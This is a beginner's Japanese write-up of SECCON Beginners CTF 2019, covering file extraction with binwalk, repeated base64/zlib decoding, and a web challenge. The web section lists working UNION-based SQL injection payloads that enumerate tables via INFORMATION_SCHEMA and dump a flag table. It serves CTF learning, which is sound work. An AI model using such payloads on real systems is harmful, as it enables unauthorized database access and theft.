SECCON Beginners CTF 2019に個人で参加しました.
CTFを始めたばかりで,乏しい知識をもとにできるだけ頑張ってみました.
結果解けたのは(Welcome除いて)1問だけでした(泣).
終わった後,いろいろな人のWriteupを見て,足りない知識を補っていったので,まとめます.
containers (Misc)
与えられたバイナリデータをまずbinwalk
で見ます.
binwalk -e e35860e49ca3fa367e456207ebc9ff2f_containers
中にPNGファイルが複数隠されていることがわかるので,抽出します.
binwalk -D 'png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers
ファイルブラウザ(Ubuntuで行ったのでNautilus)で開くと,アルファベットやら記号の画像が並んでいるのがわかります.
サイズ順に整理し,順に繋げるとフラグになります.
Pythonで画像を横に連結するプログラムを実装してみました.
from glob import glob
import os
from PIL import Image
import sys
def extract_files(file_list, extentions):
'''
ファイルリストから,拡張子に該当するもののみを返す
extensions: list
'''
file_list = [file for file in file_list if os.path.splitext(file)[1][1:] in extentions]
return file_list
def sort_files_by_filesize(file_list):
'''
ファイルリストをファイルの大きさ順にソートして返す
'''
file_list_with_size = []
for i in range(len(file_list)):
file_list_with_size.append((file_list[i], os.path.getsize(file_list[i])))
file_list_with_size.sort(key=lambda filename: filename[1], reverse=True)
for i in range(len(file_list_with_size)):
file_list_with_size[i] = file_list_with_size[i][0]
return file_list_with_size
def get_concat_h(im1, im2):
'''
画像を横に連結する
'''
dst = Image.new('RGB', (im1.width + im2.width, im1.height))
dst.paste(im1, (0, 0))
dst.paste(im2, (im1.width, 0))
return dst
def get_concat_h_multi(im_list):
'''
3つ以上の画像を横に連結する
'''
_im = im_list.pop(0)
for im in im_list:
_im = get_concat_h(_im, im)
return _im
def concat_images(file_list, savename):
'''
ファイルの一覧をもとに,画像を連結して保存する
'''
image_list = [Image.open(file) for file in file_list]
get_concat_h_multi(image_list).save(savename)
if __name__ == '__main__':
# 第一引数で複数のPNGファイルがあるディレクトリを指定します
dir_path = sys.argv[1]
file_list = glob(os.path.join(dir_path, '*'))
file_list = extract_files(file_list, ['png'])
file_list = sort_files_by_filesize(file_list)
savename = 'containers_concat_image.png'
concat_images(file_list, savename)
[warmup] So Tired (Crypto)
テキストファイルが渡されます.
Base64でデコードすることはわかったのですが,その後何をしていいのかわからなくなりました.
自分はここで断念です.
デコードしたファイルをfile
で見ると,zlibで圧縮されていることがわかります.
$ file encrypted_decoded.txt
encrypted_decoded.txt: zlib compressed data
Pythonで解凍して中身を見ると,さらにBase64デコードできそうな文字列が抽出できます.
>>> from zlib import decompress
>>> data = open('encrypted_decoded.txt').read()
>>> print(decompress(data))
# (略)
これが繰り返されると踏んで,エラーになるまでループを回すとフラグを取得できます.
参考:SECCON Beginners CTF 2019 writeup
[warmup] Ramen (Web)
HTMLソースやキャッシュに怪しいところがなかったので,SQLインジェクションをするのかなぁと思ったが,手が出せず.
丁寧に解くなら,以下の手順.
- カラム数を確認する
' union select null,null,null # -> エラー
' union select null,null # -> エラーなしなので,2列
- テーブル名を取得する
' union select table_name,null from INFORMATION_SCHEMA.COLUMNS #
検索結果にテーブル名が列挙されます.
最後の方にflagというテーブル名を確認.
- フラグを獲得
' union select flag,null from flag #
参考:SECCON Beginners CTF 2019 Writeup
感想
解法の導入がわかるようにはなってきた問題もあるけど,まだまだ手も足も出なくて,知識の無さを痛感しました.
今後は常設CTFやビギナー向けのCTFに参加して少しずつ精進していきます!